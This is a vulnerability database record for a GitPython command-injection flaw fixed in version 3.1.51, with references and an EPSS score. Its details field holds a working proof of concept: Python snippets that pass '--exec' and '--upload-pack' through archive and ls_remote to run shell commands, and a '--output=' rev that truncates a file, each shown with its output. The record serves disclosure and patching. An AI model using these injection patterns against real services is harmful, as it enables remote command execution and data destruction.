{"id":"CVE-2026-67323","aliases":["GHSA-956x-8gvw-wg5v","PYSEC-2026-3839"],"url":"https://o3.security/vulnerability/CVE-2026-67323","summary":"GitPython before 3.1.51 Command Injection via unguarded Git options","details":"## Summary\n\nGitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in\ngit/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this\ncheck him he is only call from fetch, pull, push and clone_from, everything else who build a git\nargv from caller values just go through, no check, three examples\n\n## Code analysis\n\nRepo.archive (git/repo/base.py:1623) do self.git.archive(\"--\", treeish, *path, **kwargs), the\ntreeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and\nthey land before it, so {\"remote\": \".\", \"exec\": \"<cmd>\"} give\ngit archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and\n--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and\narchive already document caller kwargs (format, prefix, path) so pass a dict is normal usage\n\nrepo.git.ls_remote(url, upload_pack=\"<cmd>\"), same builder, same result, it's exactly the kwarg\ngap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic\nrepo.git.<anything>(**user_dict) surface him he never got the fix\n\nRepo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev\nbefore the --, no leading-dash check, a \"branch name\" like --output=/etc/whatever become\ngit rev-list --output=... --, and git he open and truncate that file before he even validate the\nrevision, the file is gone even if the command error right after\n\n## PoC\n\nReleased 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).\n\n```\npip install GitPython   # 3.1.50\n```\n\nCommon setup for the three:\n\n```python\nimport io, os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n                'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\ntmp = tempfile.gettempdir()\n```\n\n1. exec via archive (a service exports a repo and forwards the user's options dict):\n\n```python\nm = os.path.join(tmp, 'gp_archive_check')\ntry: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n2. exec via ls_remote:\n\n```python\nm = os.path.join(tmp, 'gp_lsremote_check')\ntry: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n3. file clobber via a rev that looks like a ref:\n\n```python\nv = os.path.join(tmp, 'release_notes.txt')\nopen(v,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(v).read()))\ntry: list(repo.iter_commits('--output=' + v))\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] after :', repr(open(v).read()), '<- truncated')\n```\n```\n[*] before: 'do not delete\\n'\n[*] Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```","published":"2026-08-01T12:22:18.119Z","modified":"2026-10-28T02:31:06.381011180Z","cvss":null,"epss":{"score":0.01037,"percentile":0.62069,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"gitpython","fixedVersion":"3.1.51"}],"fix":{"url":"https://github.com/gitpython-developers/GitPython/pull/2163","label":"gitpython-developers/GitPython#2163"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67323.json"},{"type":"ADVISORY","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67323"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2163"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:06.381011180Z"}}